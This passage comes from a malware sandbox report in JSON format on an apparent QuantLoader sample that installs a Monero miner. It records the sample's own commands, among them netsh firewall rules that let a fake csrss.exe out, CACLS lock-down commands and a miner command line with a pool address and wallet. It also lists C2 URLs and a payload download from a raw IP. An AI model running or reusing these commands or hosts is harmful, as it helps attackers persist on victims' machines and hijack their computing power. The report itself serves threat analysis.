Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 94.23.41.130 on port 4444","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"System Security","name":"Modifies firewall settings","description":"Process \"netsh.exe\" with commandline \"\"netsh advfirewall firewall add rule name=\"Quant\" program=\"c:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe\" dir=Out action=allow\" (UID: 00019375-00002856), Process \"netsh.exe\" with commandline \"\"netsh advfirewall firewall add rule name=\"Quant\" program=\"%APPDATA%\\21480827\\csrss.exe\" dir=Out action=allow\" (UID: 00019401-00002860)","origin":"Monitored Target","relevance":8,"id":"target-15","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"cacls.exe\" with commandline \"\"CACLS \"%APPDATA%\\21480827\\csrss.exe\" /P \"qYYFE7g:R\"\" (UID: 00019429-00002932), Process \"cacls.exe\" with commandline \"\"CACLS \"%APPDATA%\\21480827\" /P \"qYYFE7g:R\"\" (UID: 00019442-00003004)","origin":"Monitored Target","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"\" checked file \"C:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe:Zone.Identifier\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"\"%APPDATA%\\21480827\\csrss.exe\"","origin":"File/Memory","relevance":5,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$3a","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Modifies firewall settings"},{"detail":"Creates a fake system process"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}]},"activity":{"stats":{"process_count":21,"spawned_processes_count":21,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":35,"imported_dlls_count":146,"dropped_files_count":0,"extracted_files_count":8,"files_written_count":87,"files_deleted_count":0,"registry_keys_created_count":15,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":15,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":10,"http_requests_count":10},"behavior_tags":["coinminer","miner","quantloader"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5a1e82ac7ca3e12c1149a9f3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Injector.IS.gen","contacted_countries":["FRA","USA"],"submit_name":"2017-11-29_09-47-57.exe","analysis_start_time":"2017-11-29T10:47:32+00:00","indicators_count":{"informative":14,"suspicious":21,"malicious":18},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"165.227.195.252","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"address":"67.205.149.140","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"address":"94.23.41.130","port":4444,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"dns_resolutions":[{"domain":"pool.minexmr.com","address":"37.59.43.136","country":"France","registrar_name":"ENOM, INC.","registrar_name_servers":"FRANK.NS.CLOUDFLARE.COM","registrar_creation_date":"2014-06-03T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"domain":"ngay16.ru","address":"165.227.195.252","country":"United States","registrar_name":"R01-RU","registrar_name_servers":"a.dnspod.com.","registrar_creation_date":"2017-11-16T15:02:25+00:00","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"domain":"ngay1617.ru","country":"-","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"http_requests":[{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=1&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=1&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"67.205.149.140","host_ip":"67.205.149.140:80","url":"/mprocess.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /mprocess.exe HTTP/1.1\nHost: 67.205.149.140\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=2&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=2&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=3&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=3&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=4&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=4&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=5&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=5&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=6&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=6&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=7&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=7&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=8&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=8&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"host":"ngay16.ru","host_ip":"165.227.195.252:80","url":"/buon/index.php?id=21480827&c=9&mk=d067ce&il=H&vr=1.53&bt=32","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /buon/index.php?id=21480827&c=9&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}],"processes":[{"pid":3032,"ppid":0,"name":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe","command_line":"","sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","normalized_path":"C:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe","uid":"00014716-00003032","icon":"$3b"},{"pid":3724,"ppid":3032,"name":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe","command_line":"","sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","normalized_path":"C:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe","parent_uid":"00014716-00003032","uid":"00017284-00003724","icon":"$3c"},{"pid":2856,"ppid":3724,"name":"netsh.exe","command_line":"\"netsh advfirewall firewall add rule name=\"Quant\" program=\"c:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe\" dir=Out action=allow","sha256":"661f5d4ce4f0a6cb32669a43ce5deec6d5a9e19b2387f22c5012405e92169943","normalized_path":"%WINDIR%\\System32\\netsh.exe","parent_uid":"00017284-00003724","uid":"00019375-00002856","icon":"$3d"},{"pid":2860,"ppid":3724,"name":"netsh.exe","command_line":"\"netsh advfirewall firewall add rule name=\"Quant\" program=\"%APPDATA%\\21480827\\csrss.exe\" dir=Out action=allow","sha256":"661f5d4ce4f0a6cb32669a43ce5deec6d5a9e19b2387f22c5012405e92169943","normalized_path":"%WINDIR%\\System32\\netsh.exe","parent_uid":"00017284-00003724","uid":"00019401-00002860","icon":"$3e"},{"pid":3092,"ppid":3724,"name":"cmd.exe","command_line":"\"cmd /c echo Y|CACLS \"%APPDATA%\\21480827\\csrss.exe\" /P \"qYYFE7g:R\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00017284-00003724","uid":"00019421-00003092","icon":"$3f"},{"pid":3012,"ppid":3092,"name":"cmd.exe","command_line":"/S /D /c\" echo Y\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00019421-00003092","uid":"00019428-00003012","icon":"$40"},{"pid":2932,"ppid":3092,"name":"cacls.exe","command_line":"\"CACLS \"%APPDATA%\\21480827\\csrss.exe\" /P \"qYYFE7g:R\"","sha256":"439f7977a0d2b49fadec31db40dc6b0d8ded2ceded52cf3055260f7a1eeecae6","normalized_path":"%WINDIR%\\System32\\cacls.exe","parent_uid":"00019421-00003092","uid":"00019429-00002932","icon":"$41"},{"pid":3076,"ppid":3724,"name":"cmd.exe","command_line":"\"cmd /c echo Y|CACLS \"%APPDATA%\\21480827\" /P \"qYYFE7g:R\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00017284-00003724","uid":"00019437-00003076","icon":"$42"},{"pid":3056,"ppid":3076,"name":"cmd.exe","command_line":"/S /D /c\" echo Y\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00019437-00003076","uid":"00019441-00003056","icon":"$43"},{"pid":3004,"ppid":3076,"name":"cacls.exe","command_line":"\"CACLS \"%APPDATA%\\21480827\" /P \"qYYFE7g:R\"","sha256":"439f7977a0d2b49fadec31db40dc6b0d8ded2ceded52cf3055260f7a1eeecae6","normalized_path":"%WINDIR%\\System32\\cacls.exe","parent_uid":"00019437-00003076","uid":"00019442-00003004","icon":"$44"},{"pid":3096,"ppid":3724,"name":"csrss.exe","command_line":"","sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","normalized_path":"%APPDATA%\\21480827\\csrss.exe","parent_uid":"00017284-00003724","uid":"00019475-00003096","icon":"$45"},{"pid":3184,"ppid":3096,"name":"csrss.exe","command_line":"","sha256":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","normalized_path":"%APPDATA%\\21480827\\csrss.exe","parent_uid":"00019475-00003096","uid":"00023273-00003184","icon":"$46"},{"pid":3384,"ppid":3184,"name":"regini.exe","command_line":"regini %TEMP%\\per","sha256":"9ad3c7f7934304cc369b5fc7e003263db87cd52ca8382876e606ce91216d72bf","normalized_path":"%WINDIR%\\System32\\regini.exe","parent_uid":"00023273-00003184","uid":"00025353-00003384","icon":"$47"},{"pid":3436,"ppid":3184,"name":"regini.exe","command_line":"regini %TEMP%\\per","sha256":"9ad3c7f7934304cc369b5fc7e003263db87cd52ca8382876e606ce91216d72bf","normalized_path":"%WINDIR%\\System32\\regini.exe","parent_uid":"00023273-00003184","uid":"00025361-00003436","icon":"$48"},{"pid":3504,"ppid":3184,"name":"105925.exe","command_line":"","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","normalized_path":"%TEMP%\\105925.exe","parent_uid":"00023273-00003184","uid":"00025797-00003504","icon":"$49"},{"pid":584,"ppid":3504,"name":"105925.exe","command_line":"","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","normalized_path":"%TEMP%\\105925.exe","parent_uid":"00025797-00003504","uid":"00032134-00000584","icon":"$4a"},{"pid":908,"ppid":584,"name":"wuapp.exe","command_line":"-o pool.minexmr.com:4444 -u 49hxvmH6yFCQVsJGdpR1t2AVDxNjMsJYAWL9c1qMsPVa2yFzb2YjVZTjguAfvMzaCMGY72eTkZEA4Fu38XzqULduFzfuYUd -p x -v 0 -t 2","sha256":"bb2483d536d2284acba2c2d7fdd20da4b419eaf6887e8a3cd418f7dc27d611d4","normalized_path":"%WINDIR%\\System32\\wuapp.exe","parent_uid":"00032134-00000584","uid":"00032383-00000908"},{"pid":2948,"ppid":3504,"name":"msiexec.exe","command_line":"","sha256":"78617ddf9a0067a32cb5d87a796c93a9618ac006ccdcb3c7c824fdeb6ec5fd59","normalized_path":"%WINDIR%\\System32\\msiexec.exe","parent_uid":"00025797-00003504","uid":"00032137-00002948"},{"pid":3536,"ppid":3184,"name":"11149.exe","command_line":"","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","normalized_path":"%TEMP%\\11149.exe","parent_uid":"00023273-00003184","uid":"00028113-00003536","icon":"$4b"},{"pid":980,"ppid":3536,"name":"11149.exe","command_line":"","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","normalized_path":"%TEMP%\\11149.exe","parent_uid":"00028113-00003536","uid":"00038649-00000980","icon":"$4c"},{"pid":3844,"ppid":3536,"name":"msiexec.exe","command_line":"","sha256":"78617ddf9a0067a32cb5d87a796c93a9618ac006ccdcb3c7c824fdeb6ec5fd59","normalized_path":"%WINDIR%\\System32\\msiexec.exe","parent_uid":"00028113-00003536","uid":"00038653-00003844"}],"all_imported_dlls":["mpr.dll","fwcfg.dll","wkscli.dll","NapiNSP.dll","nsi.dll","QUTIL.DLL","rsaenh.dll","webio.dll","rpcnsh.dll","clbcatq.dll","dot3cfg.dll","wlanapi.dll","rasadhlp.dll","winmm.dll","msasn1.dll","wdi.dll","wlanhlp.dll","wwapi.dll","KernelBase.dll","msvcrt.dll","samcli.dll","rpcrt4.dll","crypt32.dll","secur32.dll","apphelp.dll","odbcint.dll","wshelper.dll","winhttp.dll","winrnr.dll","version.dll","rpcss.dll","System.dll","usp10.dll","mfc42u.dll","odbc32.dll","ifmon.dll","atl.dll","eappprxy.dll","userenv.dll","oleaut32.dll","NAPMONTR.DLL","sfc_os.dll","msctf.dll","propsys.dll","eappcfg.dll","msi.dll","comctl32.dll","mprapi.dll","hnetmon.dll","cryptsp.dll","shfolder.dll","iertutil.dll","nettrace.dll","SensApi.dll","wship6.dll","dwmapi.dll","Wldap32.dll","rasman.dll","kernel32.dll","shell32.dll","bcrypt.dll","nci.dll","ntdll.dll","ntmarta.dll","wininet.dll","wlancfg.dll","powrprof.dll","sspicli.dll","shdocvw.dll","FWPUCLNT.DLL","netshell.dll","onex.dll","QAGENT.DLL","pnrpnsp.dll","WSHTCPIP.DLL","shlwapi.dll","dhcpcsvc.dll","authfwcfg.dll","netutils.dll","p2pcollab.dll","wwancfg.dll","msxml3r.dll","psapi.dll","cryptbase.dll","dhcpcsvc6.dll","httpapi.dll","winipsec.dll","WcnNetsh.dll","RpcRtRemote.dll","rtutils.dll","AcLayers.dll","user32.dll","sechost.dll","wevtapi.dll","dnsapi.dll","polstore.dll","AcGenral.dll","sfc.dll","devobj.dll","FirewallAPI.dll","certcli.dll","netprofm.dll","rasmontr.dll","winnsi.dll","slc.dll","ws2help.dll","mswsock.dll","nlaapi.dll","dot3api.dll","logoncli.dll","P2P.dll","credui.dll","msxml3.dll","uxtheme.dll","ws2_32.dll","nshwfp.dll","nshhttp.dll","npmproxy.dll","imm32.dll","cfgmgr32.dll","profapi.dll","rasapi32.dll","IPHLPAPI.DLL","netiohlp.dll","whhelper.dll","srvcli.dll","urlmon.dll","devrtl.dll","adsldpc.dll","wlanutil.dll","tdh.dll","winbrand.dll","wshqos.dll","advapi32.dll","ole32.dll","dhcpcmonitor.dll","setupapi.dll","DHCPQEC.DLL","activeds.dll","gdi32.dll","lpk.dll","netapi32.dll","p2pnetsh.dll","msacm32.dll","nshipsec.dll","ndfapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"education.dll","sha256":"f304d5935191e55e7744eb284699234dfe4b6ed9ce7d6c2b2d94b5f9b4e269af","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"System.dll","sha256":"fa4ab1d6f79fd677433a31ada7806373a789d34328da46ccb0449bbf347bd73e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"FunCoil.bin","sha256":"c7b138ac2d47f736a50f9fbcd4a50ca75dd6ee524ce64ebc0dc161e17beb8d3c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"per","sha256":"8114822fe9a58e5ba08abb480dd595109c66a49d9afc404f85843915694c2964","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"index[1].php","sha256":"256db9efb41c078bfff1991345844376ffb61a58449a4231742976ba3c1ddd2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"105925.exe","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"11149.exe","sha256":"94a48d5a537379a1fef9cc1a3e33e747990f81a44fc07b3c694328778782887a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Edmonton.dll","sha256":"f304d5935191e55e7744eb284699234dfe4b6ed9ce7d6c2b2d94b5f9b4e269af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"files_written":[{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"C:\\Users\\qYYFE7g","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\Tutorial1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\nsk9DCB.tmp","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\netsh.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\odbcint.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\MFC42u.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\fwcfg.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\p2pnetsh.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\authfwcfg.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"C:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"C:\\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\cacls.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\21480827","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\cacls.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Searches\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Videos\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Contacts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Downloads\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Saved Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\21480827\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\Edmonton.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\nsp7EB0.tmp","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\regini.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\per","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","s